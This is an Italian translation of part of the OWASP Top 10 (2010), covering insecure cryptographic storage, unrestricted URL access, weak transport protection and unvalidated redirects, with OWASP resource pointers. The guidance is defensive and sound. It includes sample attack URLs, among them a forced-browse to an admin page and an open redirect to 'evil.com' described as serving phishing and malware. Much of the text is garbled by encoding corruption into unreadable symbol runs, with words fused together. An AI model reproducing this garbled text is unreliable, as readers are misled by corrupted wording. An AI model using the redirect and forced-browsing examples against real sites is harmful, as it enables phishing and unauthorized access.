ŀƭƭΩƛƴǘŜǊƴƻdiǉǳŜǎǘΩŀŜǊŀfare riferimento a ASVS requirements on 
Cryptography (V7).

ÅOWASP Top 10-2007 - Insecure Cryptographic Storage

ÅESAPI EncryptorAPI

ÅOWASP Development Guide: Chapter on Cryptography

ÅOWASP Code Review Guide: Chapter on Cryptography

Esterni

ÅCWE Entry 310 - Cryptographic Issues

ÅCWE Entry 312 - CleartextStorage of Sensitive Information

ÅCWE Entry 326 - Weak Encryption

Come prevenire?
tǊŜƳŜǘǘŜƴŘƻ ŎƘŜ ƭΩƛƴǘŜǊŀ ǇǊƻōƭŜƳŀǘƛŎŀ ŘŜǊƛǾŀǘŀ Řŀƭƭŀ ŎǊƛǘǘƻƎǊŀŦƛŀ 
ƛƴǎƛŎǳǊŀ Ǿŀ ƻƭǘǊŜ ƭŀ ά¢ƻǇ млέΣ ǇŜǊ ǘǳǘǘƛ ƛ Řŀǘƛ ŎƘŜ ŘŜǾƻƴƻ ŜǎǎŜǊŜ 
protetti è opportuno, come minimo:

1.Considerare le minacce da cui proteggere questi dati (per esempio 
utenti interni, attaccanti esterni) e assicurarsi di proteggere tutti i 
dati in maniera opportuna a seconda delle minacce.

2.Assicurasi che i backup siano cifrati, e che le chiavi siano gestite e 
salvate separatamente.

3.Assicurarsi  che siano usati algoritmi standard considerati robusti, 
che le chiavi siano forti e gestite correttamente.

4.Assicurarsi che le password siano protette da algoritmi di hash 
robusti e con il salt.

5.Assicurarsi che tutte le chiavi e le password siano protette dagli 
accessi non autorizzati.

Insecure Cryptographic
StorageA7

Problematiche 
di Sicurezza

Vettori di
Attacco

Impatti
TecniciAgenti di

Minaccia

Impatti di
Business

http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Top_10_2007-Insecure_Cryptographic_Storage
http://www.owasp.org/index.php/Command_Injection
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Top_10_2007-Insecure_Cryptographic_Storage
http://www.owasp.org/index.php/Top_10_2007-Insecure_Cryptographic_Storage
http://www.owasp.org/index.php/Top_10_2007-Insecure_Cryptographic_Storage
http://www.owasp.org/index.php/Top_10_2007-Insecure_Cryptographic_Storage
http://www.owasp.org/index.php/Top_10_2007-Insecure_Cryptographic_Storage
http://www.owasp.org/index.php/Top_10_2007-Insecure_Cryptographic_Storage
http://www.owasp.org/index.php/Top_10_2007-Insecure_Cryptographic_Storage
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encryptor.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encryptor.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encryptor.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encryptor.html
http://www.owasp.org/index.php/Guide_to_Cryptography
http://www.owasp.org/index.php/Codereview-Cryptography
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/310.html
http://cwe.mitre.org/data/definitions/310.html
http://cwe.mitre.org/data/definitions/310.html
http://cwe.mitre.org/data/definitions/310.html
http://cwe.mitre.org/data/definitions/312.html
http://cwe.mitre.org/data/definitions/312.html
http://cwe.mitre.org/data/definitions/312.html
http://cwe.mitre.org/data/definitions/312.html
http://cwe.mitre.org/data/definitions/312.html
http://cwe.mitre.org/data/definitions/312.html
http://cwe.mitre.org/data/definitions/326.html
http://cwe.mitre.org/data/definitions/326.html
http://cwe.mitre.org/data/definitions/326.html
http://cwe.mitre.org/data/definitions/326.html


__________
Sfruttamento

FACILE
Diffusione

POCO COMUNE
Individuazione

MEDIA
Impatto

MODERATO
__________

Chiunqueabbiaun 
accessoallarete, che
può inviarerichieste
ŀƭƭΩŀǇǇƭƛŎŀȊƛƻƴŜ.
Utenti anonimio 
registratipotrebbero
accederea pagine
private senzaaverei
privilegiadeguati?

Gli utenti registrati 
possono accedere alle 
pagine per le quali 
non hanno i privilegi 
richiamandone 
ƭΩƛƴŘƛǊƛȊȊƻΚ
Gli utenti anonimi 
possono accedere a 
pagine private?

Le applicazioninon sempreproteggonole 
pagineprotette in modoappropriato. La 
protezionedelleURL potrebbeesseregestita
tramite configurazione- ma questanon è 
effettuata in manieracorrettaςoppure
tramite verificheapplicative - ma gli
sviluppatoripotrebberodimenticarsidi
inserirein tutte le paginele verifiche
opportune. È sempliceidentificarequeste
vulnerabilitàma è difficile identificarele 
pagine(URL) esistentidaattaccare.

Questa vulnerabilità 
permette ad un 
attaccante di accedere 
a funzionalità 
particolari senza 
opportuna 
autorizzazione. 
Principali bersagli 
sono le pagine di 
amministrazione.

Considerare il valore 
economico delle 
funzioni esposte e dei 
dati che esse 
gestiscono. 

Inoltre bisogna 
ŎƻƴǎƛŘŜǊŀǊŜ ƭΩƛƳǇŀǘǘƻ 
sulla reputazione se la 
vulnerabilità viene 
resa pubblica.

Esempi di Scenari ŘΩŀǘǘŀŎŎƻ
Supponendocheper accedereŀƭƭΩ¦w[άadmin_getappInfoέsia
necessariaƭΩŀǳǘŜƴǘƛŎŀȊƛƻƴŜe diritti specificidi amministrazione. Se 
un attaccante, semplicementerichiedendole seguentiURL:

http://example.com/app/getappInfo

http://example.com/app/admin_getappInfo

ottieneƭΩŀŎŎŜǎǎƻed è anonimoo autenticatoma senzai permessi
amministrativi alloraƎŜƴŜǊŀ ǳƴ άaccessonon autorizzatoέ edè 
presentela vulnerabilità.

Questevulnerabilitàsonospessointrodotte quandocollegamentio  
bottoni sonosemplicementenascostiad un utente non autenticato
e ƭΩŀǇǇƭƛŎŀȊƛƻƴŜnon utilizzaopportuni sistemidi protezionedelle
pagine.

Sono vulnerabile?
Il metodomiglioreper verificarese ǳƴΩŀǇǇƭƛŎŀȊƛƻƴŜnon limita
correttamenteƭΩŀŎŎŜǎǎƻad unaURL è quelladi verificareogni
pagina, stabilendose deveessereconsideratapubblicao privata. Se 
la paginaè stataconsiderataprivata:

1.È necessarioautenticarsiper accedervi?

2.Deveessereaccessibilea tutti gli utenti autenticati? In caso
contrariovengonoeffettuate verifichedi autorizzazioneper 
assicurarsichesolo gli opportuniutenti abbianoil permessodi
accederea questapagina?

Se sonoutilizzatisistemidi sicurezzaesterniŀƭƭΩŀǇǇƭƛŎŀȊƛƻƴŜper 
gestireautenticazionee autorizzazione, assicurarsichesiano
propriamenteconfiguratiper tutte le pagine. Se vieneutilizzata una
protezionea livello applicativo, verificarechela protezionesia
applicatain tutte le pagine. Tramiteattività di Penetration Testing è 
possibilecontrollarese la protezioneè statapropriamenteapplicata.

Riferimenti
OWASP

ÅOWASP Top 10-2007 - Failure to Restrict URL Access

ÅESAPI Access Control API

ÅOWASP Development Guide: Capitolo sulla Autorizzazione

ÅOWASP Testing Guide: Testing for Path Traversal

ÅOWASP Articolo sul Forced Browsing

Per informazioni aggiuntive sui requisiti per il controllo degli accessi: 
requisiti ASVS per il Controllo degli Accessi (V4).

Esterni

ÅCWE Entry 285 - Improper Access Control (Authorization)

Come prevenire?
! ǇǊŜǎŎƛƴŘŜǊŜ ŘŀƭƭΩǳǘƛƭƛȊȊƻ Řƛ ǳƴ ǎƛǎǘŜƳŀ ŜǎǘŜǊƴƻ ƻ ƛƴǘŜǊƴƻ 
ŀƭƭΩŀǇǇƭƛŎŀȊƛƻƴŜ ǇŜǊ ƭŀ ƎŜǎǘƛƻƴŜ Řƛ ŀǳǘƻǊƛȊȊŀȊƛƻƴŜ Ŝ ǇŜǊƳŜǎǎƛΣ ŝ 
necessario che: 

1.Le policy di autenticazione ed autorizzazione siano basate sui ruoli 
ǇŜǊ ƳƛƴƛƳƛȊȊŀǊŜ ƭΩŜŦŦƻǊǘ ƴŜƭƭΩƛƳǇƭŜƳŜƴǘŀȊƛƻƴŜΦ

2.[Ŝ ǇƻƭƛŎȅ ǎƛŀƴƻ ŦƭŜǎǎƛōƛƭƛ ǇŜǊ ƳƛƴƛƳƛȊȊŀǊŜ ƭΩǳǘƛƭƛȊȊƻ Řƛ ŎƻŘƛŎŜ 
ŀǇǇƭƛŎŀǘƛǾƻ ǇŜǊ ōƭƻŎŎŀǊŜ ƭΩŀŎŎŜǎǎƻ ŀƭƭŜ ǇŀƎƛƴŜΦ

3.[Ŝ ǊŜƎƻƭŜ ƴŜƎƘƛƴƻ ƭΩŀŎŎŜǎǎƻ ǇŜǊ ŘŜŦŀǳƭǘ Ŝ ŎƘŜ ǇŜǊ ƭΩŀŎŎŜǎǎƻ ŀŘ ƻƎƴƛ 
singola pagina siano necessari permessi specifici ad utenti specifici.

4.[ΩŀŎŎŜǎǎƻ ŀƭƭŜ ǇŀƎƛƴŜ ŎƘŜ Ŧŀƴƴƻ ǇŀǊǘŜ Řƛ ǳƴ Ŧƭǳǎǎƻ ŀǇǇƭƛŎŀǘƛǾƻ 
composto da più passi avvenga solo tramite  quelli previsti.

Failure to Restrict URL AccessA8
Problematiche 
di Sicurezza

Vettori di
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Impatti
TecniciAgenti di

Minaccia

Impatti di
Business

http://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
http://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
http://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
http://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
http://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
http://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
http://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/AccessController.html
http://www.owasp.org/index.php/Guide_to_Authorization
http://www.owasp.org/index.php/Testing_for_Path_Traversal
http://www.owasp.org/index.php/Forced_browsing
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/285.html
http://cwe.mitre.org/data/definitions/285.html
http://cwe.mitre.org/data/definitions/285.html
http://cwe.mitre.org/data/definitions/285.html


__________
Sfruttamento

DIFFICILE
Diffusione
COMUNE

Individuazione
FACILE

Impatto
MODERATO

__________

Chiunquepossa
monitorareil traffico
di rete degliutenti
ŘŜƭƭΩŀǇǇƭƛŎŀȊƛƻƴŜ, sia
front cheback-end.  
Se è espostasu
Internet, chiunque
conoscacome gli
utenti vi accedono.

Monitorare il traffico 
di rete degli utenti 
può risultare difficile, 
ma non sempre. La 
difficoltà primaria sta 
nel monitorare il 
traffico nel momento 
ƛƴ Ŏǳƛ ƭΩǳǘŜƴǘŜ ǎǘŀ 
utilizzando il sito 
vulnerabile.

Spesso le applicazioni non proteggono 
correttamente  il traffico di rete, utilizzando 
SSL/TLS solo durante la fase di autenticazione 
anche con certificati scaduti o non configurati 
correttamente.

Per individuare le vulnerabilità più semplici è 
sufficiente monitorare il traffico. Vulnerabilità 
più complesse sono invece individuabili 
ŜǎŀƳƛƴŀƴŘƻ ƭΩŀǊŎƘƛǘŜǘǘǳǊŀ ŘŜƭƭΩŀǇǇƭƛŎŀȊƛƻƴŜ Ŝ 
la configurazione del server. 

Sono esposti i dati 
degli utenti e possono 
portare al furto di un 
account che, se 
amministrativo, può 
portare alla 
compromissione 
ŘŜƭƭΩƛƴǘŜǊƻ ǎƛǘƻ ƻǇǇǳǊŜ 
ad attacchi di phishing 
e MITM. 

Bisogna considerare il 
valore economico dei 
dati esposti sui canali 
di trasmissione in 
base alla 
confidenzialità ed 
integrità richiesta, ed 
alla necessità di 
proteggere il processo 
di autenticazione.

Esempi di Scenari ŘΩŀǘǘŀŎŎƻ
Scenario #1: Un sito non utilizzaSSL per proteggereunapaginache
richiedeautenticazione. Un attaccantemonitora il traffico di rete (ad 
esempioŀƭƭΩƛƴǘŜǊƴƻdi unaconnessionewireless non protetta), e 
catturail cookie di sessionegeneratodopoƭΩŀǳǘŜƴǘƛŎŀȊƛƻƴŜ, cheusa
per impersonarela vittima.

Scenario #2: Il certificatoSSL di un sito non è configurato
correttamentee questovienesegnalatodalbrowser ŘŜƭƭΩǳǘŜƴǘŜ. 
[ΩǳǘŜƴǘŜ, accettandosempreƭΩŀǾǾŜǊǘƛƳŜƴǘƻ, siabituaallapresenza
dellasegnalazione. In casodi phishing, ƭΩǳǘŜƴǘŜè redirezionatosuun 
sito sprovvistodi certificatovalidoe gli vienesegnalatoma, essendo
abituatoŀƭƭΩŀǾǾŜǊǘƛƳŜƴǘƻ, forniscecomunquele credenzialidi
accesso.

Scenario #3: Un sito utilizzaunaconnessionestandard ODBC/JDBC 
per le comunicazionial database, senzaconsiderarechetutte le 
comunicazioniavvengonoin chiaro.

Sono vulnerabile?
È possibilestabilirese ǳƴΩŀǇǇƭƛŎŀȊƛƻƴŜutilizzaunaprotezione
insufficientedel canaledi trasportoverificandoche:

1.SSL siautilizzatoper tutto il traffico legato al processodi
autenticazione.

2.SSL siautilizzatoper tutte le risorseŀƭƭΩƛƴǘŜǊƴƻdellepaginee 
token di sessione, evitandocosìƭΩǳǘƛƭƛȊȊƻmistodi SSL e risorsein 
chiaro, chevienesegnalatodalbrowser e causaƭΩŜǾŜƴǘǳŀƭŜ
esposizioneŘŜƭƭΩL5di sessione.

3.Sianoabilitati solamentealgoritmiconsideratirobusti.

4.Siaimpostatoil ŦƭŀƎ άǎŜŎǳǊŜέ ǇŜǊ tutti i cookie.

5. Il certificatodel server siavalido, configuratocorrettamente, 
rilasciatodaun enteautorizzato, non revocatoe checorrispondaai
nomi di dominioutiizzati.

Riferimenti
OWASP

Per un insiemecompletodi requisitie problemiin questaarea: ASVS 
Communication Security Requirements (V10).

ÅOWASP Transport Layer Protection Cheat Sheet

ÅOWASP Top 10-2007 - Insecure Communications

ÅOWASP Development Guide: Chapter on Cryptography

ÅOWASP Testing Guide: Chapter on SSL/TLS Testing

Esterni

ÅCWE Entry 319 - CleartextTransmission of Sensitive Information

ÅSSL Labs Server Test

ÅDefinition of FIPS 140-2 Cryptographic Standard

Come prevenire?
Considerandocheunacorrettaprotezionedel canaledi trasporto
può influireǎǳƭƭΩŀǊŎƘƛǘŜǘǘǳǊŀ, la soluzionepiù sempliceè utilizzare
SSL per ƭΩƛƴǘŜǊŀapplicazionee, se sipresentanoproblemidi
performance, utilizzarlosolo per le pagineriservateo critiche; anche
se questopuòesporregli ID di sessionee altri dati sensibili. Per 
garantireunacorrettaprotezione, come minimo:

1.RichiedereSSL per tutte le paginecontentidati sensibilie 
redirigerlesulcanaleprotetto se richiestein chiaro.

2. Impostareil ŦƭŀƎ άǎŜŎǳǊŜέ ŀƭƭΩƛƴǘŜǊƴƻdei cookie.

3.ConfigurareSSL per supportaresolamentealgoritmi robusti (ad 
esempio, conformia FIPS 140-2).

4.Assicurarsicheil certificatosiavalido, non scaduto, non revocato, 
e corrispondaal dominioŘŜƭƭΩŀǇǇƭƛŎŀȊƛƻƴŜ.

5.Proteggereancheil back-end con SSL o altre tecnologiedi
cifraturadei dati.

Insufficient Transport Layer
ProtectionA9
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http://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet
http://www.owasp.org/index.php/Top_10_2007-Insecure_Communications
http://www.owasp.org/index.php/Top_10_2007-Insecure_Communications
http://www.owasp.org/index.php/Top_10_2007-Insecure_Communications
http://www.owasp.org/index.php/Top_10_2007-Insecure_Communications
http://www.owasp.org/index.php/Top_10_2007-Insecure_Communications
http://www.owasp.org/index.php/Top_10_2007-Insecure_Communications
http://www.owasp.org/index.php/Guide_to_Cryptography
http://www.owasp.org/index.php/Testing_for_SSL-TLS
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/319.html
http://cwe.mitre.org/data/definitions/319.html
http://cwe.mitre.org/data/definitions/319.html
http://cwe.mitre.org/data/definitions/319.html
http://cwe.mitre.org/data/definitions/319.html
http://cwe.mitre.org/data/definitions/319.html
https://www.ssllabs.com/ssldb/index.html
http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf
http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf
http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf
http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf


__________
Sfruttamento

MEDIA
Diffusione

POCO COMUNE
Individuazione

FACILE
Impatto

MODERATO
__________

Considerare chiunque 
può forzare gli utenti 
a creare richieste 
verso il sito. Qualsiasi 
sito o codice HTML 
può forzare gli utenti 
a farlo.

[ΩŀǘǘŀŎŎŀƴǘŜ ŦƻǊȊŀ ƭŀ 
vittima a cliccare su 
un link con un redirect 
non validato. Le 
vittime non notano  
possibili problemi, 
poichè il link  
appartiene a un sito 
valido.

Le applicazioni redirigono spesso gli utenti 
verso altre pagine o usano forward interni. A 
volte la pagina bersaglio è specificata in un 
parametro non validato, che permette di 
scegliere arbitrariamente la pagina di 
destinazione.
Rilevare redirect non controllati è semplice. È 
sufficiente cercare i redirect dove si può 
impostare l'URL completo. I forward non 
controllati sono più difficili da trovare perchè 
ƭΩƻōƛŜǘǘƛǾƻ ǎƻƴƻ ƭŜ ǇŀƎƛƴŜ ƛƴǘŜǊƴŜΦ

Tali redirect possono 
installare dei malware 
o chiedere agli utenti 
di inserire credenziali 
o altre informazioni 
sensibili. I forward 
non sicuri possono 
permettere di 
evadere i controlli 
d'accesso.

Considerare come 
valore di business la 
fiducia degli utenti.

Cosa succede se 
vengono infettati da 
un malware?

Cosa succede se gli 
attaccanti possono 
accedere a funzioni 
interne?

9ǎŜƳǇƛ Řƛ {ŎŜƴŀǊƛ ŘΩ!ǘǘŀŎŎƻ
Scenario #1: L'applicazione ha una pagina chiamata "redirect.jsp" 
che riceve un singolo parametro "url". L'attaccante crea un URL 
malevolo che redirige gli utenti verso un sito malevolo che effettua 
phishing e installa un malware.

http://www.example.com/redirect.jsp?url=evil.com

Scenario #2: L'applicazione utilizza un forward per girare le richieste 
tra diverse parti del sito. Per facilitare ciò, alcune pagine utilizzano 
un parametro per indicare dove l'utente deve essere rediretto se 
una transazione è avvenuta correttamente. In questo caso, 
ƭΩŀǘǘŀŎŎŀƴǘŜ ŎǊŜŀ ǳƴ ¦w[ ŎƘŜ ǇŀǎǎŜǊŁ ŀƭ ŎƻƴǘǊƻƭƭƻ ŘϥŀŎŎŜǎǎƻ 
ŘŜƭƭϥŀǇǇƭƛŎŀȊƛƻƴŜ ŎƘŜ ǊŜƛƴŘƛǊƛȊȊŜǊŁ ƭΩŀǘǘŀŎŎŀƴǘŜ ŀŘ ǳƴŀ ŦǳƴȊƛƻƴŜ 
amministrativa alla quale non è possibile accedere direttamente.

http://www.example.com/boring.jsp?fwd=admin.jsp

Sono Vulnerabile?
Lƭ ƳƻŘƻ ƳƛƎƭƛƻǊŜ ǇŜǊ ŎŀǇƛǊŜ ǎŜ ǳƴΩŀǇǇƭƛŎŀȊƛƻƴŜ Ƙŀ ǊŜŘƛǊŜŎǘ ƻ ŦƻǊǿŀǊŘ 
non validati consiste nel:

1.Revisionare il codice di tutti i redirect o forward (chiamato 
transfer in .NET). Per ogni utilizzo, capire se l'URL di destinazione è 
incluso in valori parametrici. Se è così, verificare che i parametri 
possano contenere solo il valore della destinazione autorizzata.

2. Indicizzare il sito per verificare se genera dei redirect (codice di 
risposta HTTP 300-307, in genere 302). Controllare i parametri 
immessi prima del redirect per verificare se vengono utilizzati come 
URL destinazione o parte di esso. In caso modificare il parametro ed 
osservare se il sito effettua il redirect.

3.Se il codice non è disponibile, controllare tutti i parametri in cerca 
di URL di destinazione utilizzati in redirect o forward.

Referenze
OWASP

ÅOWASP Article on Open Redirects 

ÅESAPI SecurityWrapperResponse sendRedirect() method

Esterne

ÅCWE Entry 601 on Open Redirects 

ÅWASC Article on URL Redirector Abuse

ÅGoogle blog article on the dangers of open redirects

Come prevenire?
¦ƴΩƛƳǇƭŜƳŜƴǘŀȊƛƻƴŜ ǎƛŎǳǊŀ Řƛ ǊŜŘƛǊŜŎǘ Ŝ ŦƻǊǿŀǊŘ ǇǳƼ ŜǎǎŜǊŜ 
ottenuta in diversi modi:

1.Evitare l'uso di redirect e forward.

2.Se utilizzati, non adoperare i parametri utente per la destinazione. 
In genere, questo è fattibile.

3.Se i parametri di destinazione non possono essere evitati, 
assicurarsi che il valore inserito sia valido ed autorizzato per 
quell'utente effettuando una mappatura dei parametri di 
destinazione e usare del codice lato server per convertire la 
mappatura in URL di destinazione.

È possibile utilizzare ESAPIper sovrascrivere il metodo 
sendRedirect() così da rendere sicure tutte le destinazioni.

Evitare tali problematiche è estremamente importante poiché sono 
le più utilizzate dai phisher per ridirigere gli utenti su siti di phishing.

Unvalidated Redirects and 
Forwards A10

Problematiche 
di Sicurezza

Vettori di
Attacco

Impatti
TecniciAgenti di

Minaccia

Impatti di
Business

http://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
http://www.owasp.org/index.php/Open_redirect
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/filters/SecurityWrapperResponse.html
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/601.html
http://cwe.mitre.org/data/definitions/601.html
http://projects.webappsec.org/URL-Redirector-Abuse
http://googlewebmastercentral.blogspot.com/2009/01/open-redirect-urls-is-your-site-being.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/filters/SecurityWrapperResponse.html


Stabilire ed Utilizzare un Set di Controlli di Sicurezza Comuni

Sia se si è nuovi nel mondo della sicurezza delle applicazioni web sia se si è familiari con questi rischi, il compito di produrre 
ǳƴΩŀǇǇƭƛŎŀȊƛƻƴŜ ǎƛŎǳǊŀ ƻ Řƛ ŎƻǊǊŜƎƎŜǊƴŜ ǳƴŀ ŜǎƛǎǘŜƴǘŜ ǇǳƼ ŜǎǎŜǊŜ ŘƛŦŦƛŎƛƭŜΦ {Ŝ ǎƛ ŘŜǾŜ ƎŜǎǘƛǊŜ ǳƴ ƎǊŀƴŘŜ ǇƻǊǘŦƻƭƛƻ Řƛ ŀǇǇƭƛŎŀzioni, 
può essere scoraggiante.

Sono Disponibili Molte Risorse OWASP Libere e Gratuite

Per aiutare le aziende e gli sviluppatori a ridurre i rischi di sicurezza delle applicazione in maniera efficace, OWASP ha prodotto 
ƴǳƳŜǊƻǎŜ ǊƛǎƻǊǎŜ ƭƛōŜǊŜ Ŝ ƎǊŀǘǳƛǘŜ ŎƘŜ ǎƛ Ǉƻǎǎƻƴƻ ǳǘƛƭƛȊȊŀǊŜ ǇŜǊ ǊƛǎƻƭǾŜǊŜ ƛ ǇǊƻōƭŜƳƛ Řƛ ǎƛŎǳǊŜȊȊŀ ŀƭƭΩƛƴǘŜǊƴƻ ŘŜƭƭΩŀȊƛŜƴŘŀΦ Le 
seguenti sono alcune risorse che OWASP ha prodotto per aiutare le aziende a produrre applicazioni web sicure. Nella prossima 
pagina, verranno presentate altre risorse OWASP che possono aiutare le aziende a verificare la sicurezza delle loro applicazioni.

Ci sono altre risorse OWASP disponibili. Visitare la OWASP Projects page, che elenca tutti i progetti OWASP, organizzati dalla 
qualità di rilascio dei progetti in questione (Qualità di Rilascio, Beta o Alpha). La maggior parte delle risorse OWASP sono 
disponibili sul nostro wiki, e molti documenti OWASP possono essere ordinati cartacei.

Consigli per gli Sviluppatori+D

ωtŜǊ ǇǊƻŘǳǊǊŜ ǳƴΩŀǇǇƭƛŎŀȊƛƻƴŜ ǿŜō ǎƛŎǳǊŀΣ ōƛǎƻƎƴŀ ŘŜŦƛƴƛǊŜ ƛƭ ǎƛƎƴƛŦƛŎŀǘƻ Řƛ ǎƛŎǳǊƻΦ h²!{t 
ǊŀŎŎƻƳŀƴŘŀ ƭΩǳǘƛƭƛȊȊƻ ŘŜƭƭΩh²!{t Application Security Verification Standard (ASVS), come guida 
ǇŜǊ ŘŜŦƛƴƛǊŜ ƛ ǊŜǉǳƛǎƛǘƛ Řƛ ǎƛŎǳǊŜȊȊŀ ŘŜƭƭŜ ŀǇǇƭƛŎŀȊƛƻƴƛΦ {Ŝ ǎƛ ŝ ƛƴ ƻǳǘǎƻǳǊŎƛƴƎΣ ŎƻƴǎƛŘŜǊŀǊŜ ƭΩOWASP 
Secure Software Contract Annex.

Requisiti di 
Sicurezza 

delle 
Applicazioni

ωPiuttosto che applicare la sicurezza alle applicazioni, è più efficace progettare la sicurezza 
ŘŀƭƭΩƛƴƛȊƛƻΦ h²!{t ǎǳƎƎŜǊƛǎŎŜ ƭŀ h²!{t 5ŜǾŜƭƻǇŜǊΩǎ DǳƛŘŜ, come punto di partenza su come 
ǇǊƻƎŜǘǘŀǊŜ ƭŀ ǎƛŎǳǊŜȊȊŀ ŘŀƭƭΩƛƴƛȊƛƻΦ

Architettura 
di Sicurezza 

delle 
Applicazioni

ωDefinire dei controlli di sicurezza efficaci ed utili è particolarmente difficile. Fornire gli 
sviluppatori di un set di controlli di sicurezza semplifica radicalmente lo sviluppo di applicazioni 
sicure. OWASP raccomanda il progetto OWASP Enterprise Security API (ESAPI)come modello per 
le API di sicurezza necessarie a produrre applicazioni web sicure. ESAPI fornisce implementazioni 
in Java, .NET, PHP, Classic ASP, Python, e Cold Fusion.

Controlli di 
Sicurezza 
Standard

ωtŜǊ ƳƛƎƭƛƻǊŀǊŜ ƛƭ ǇǊƻŎŜǎǎƻ ŎƘŜ ƭΩŀȊƛŜƴŘŀ ǎŜƎǳŜ ǉǳŀƴŘƻ ǇǊƻƎŜǘǘŀ ǘŀƭƛ ŀǇǇƭƛŎŀȊƛƻƴƛΣ h²!{t ŎƻƴǎƛƎƭƛŀ 
ƭΩOWASP Software Assurance Maturity Model (SAMM). Questo modello aiuta le aziende a 
formulare ed implementare una strategia per la sicurezza adatta ai rischi specifici che corre 
ƭΩŀȊƛŜƴŘŀΦ

Ciclo di Vita di 
Sviluppo 

Sicuro

ωLΩh²!{t 9ŘǳŎŀǘƛƻƴ tǊƻƧŜŎǘfornisce materiale didattico per istruire gli sviluppatori sulla 
ǎƛŎǳǊŜȊȊŀ ŘŜƭƭŜ ŀǇǇƭƛŎŀȊƛƻƴƛ ǿŜō Ŝ ŎƻƳǇǊŜƴŘŜ ǳƴΩŀƳǇƛŀ ƎŀƳƳŀ Řƛ OWASP Educational 
Presentations. Per seminari pratici sulle vulnerabilità, provare OWASP WebGoat. Per essere 
aggiornati, partecipare ad una OWASP AppSec Conference, ad un OWASP ConferenceTraining, o 
ad un incontro OWASP Chapter meetings. 

Conoscenza 
della Sicurezza 

delle 
Applicazioni



Essere Organizzati

tŜǊ ǾŜǊƛŦƛŎŀǊŜ ƭŀ ǎƛŎǳǊŜȊȊŀ Řƛ ǳƴΩŀǇǇƭƛŎŀȊƛƻƴŜ ǿŜō ǎǾƛƭǳǇǇŀǘŀ ƻ ŎƘŜ ǎƛ ǾǳƻƭŜ ŀŎǉǳƛǎǘŀǊŜΣ h²!{t ŎƻƴǎƛƎƭƛŀ Řƛ ǊƛǾŜŘŜǊŜ ƛƭ ŎƻŘƛŎe 
ŘŜƭƭΩŀǇǇƭƛŎŀȊƛƻƴŜ όǎŜ ŘƛǎǇƻƴƛōƛƭŜύŜŘ ƛƴƻƭǘǊŜ Řƛ ǘŜǎǘŀǊŜ ƭΩŀǇǇƭƛŎŀȊƛƻƴŜ ǎǘŜǎǎŀΦ h²!{t ŎƻƴǎƛƎƭƛŀ ǳƴŀ ǎƛƴŜǊƎƛŀ Řƛ ǊŜǾƛǎƛƻƴŜ Řƛ ŎƻŘƛŎŜ Ŝ 
penetrationtestingapplicativo se possibile, in quanto permette di usufruire dei lati positivi di entrambe le tecniche, 
complementandosiŀ ǾƛŎŜƴŘŀΦ Dƭƛ ǎǘǊǳƳŜƴǘƛ ǇŜǊ ŜŦŦŜǘǘǳŀǊŜ ƛƭ ǇǊƻŎŜǎǎƻ Řƛ ǾŜǊƛŦƛŎŀ Ǉƻǎǎƻƴƻ ƳƛƎƭƛƻǊŀǊŜ ƭΩŜŦŦƛŎƛŜƴȊŀ Ŝ ƭΩŜŦŦƛŎŀŎƛŀ Řƛ ǳƴ 
ŀƴŀƭƛǎǘŀ ŜǎǇŜǊǘƻΦ Dƭƛ ǎǘǊǳƳŜƴǘƛ Řƛ h²!{t Ƙŀƴƴƻ ƭƻ ǎŎƻǇƻ Řƛ ǊŜƴŘŜǊŜ ǇƛǴ ŜŦŦƛŎŀŎŜ ƭΩŀƴŀƭƛǎƛ Řƛ ǳƴŀ ǇŜǊǎƻƴŀ ŜǎǇŜǊǘŀΣ Ǉƛǳǘǘƻǎǘƻ Ŏhe 
ŎŜǊŎŀǊŜ Řƛ ŀǳǘƻƳŀǘƛȊȊŀǊŜ ƛƭ ǇǊƻŎŜǎǎƻ ŘΩŀƴŀƭƛǎƛ ǎǘŜǎǎƻΦ 

Definire Come Verificare la Sicurezza delle Applicazioni Web: Per aiutare le aziende a sviluppare la consistenza ed un livello di 
rigore quando si verifica la sicurezza delle applicazioni web, OWASP ha prodotto la OWASP Application Security Verification 
Standard (ASVS). Questo documento definisce un set di verifiche standard per effettuare un assessment di sicurezza delle 
applicazioni web. OWASP consiglia di usare il documento ASVS come linea guida non solo per verificare la sicurezza di 
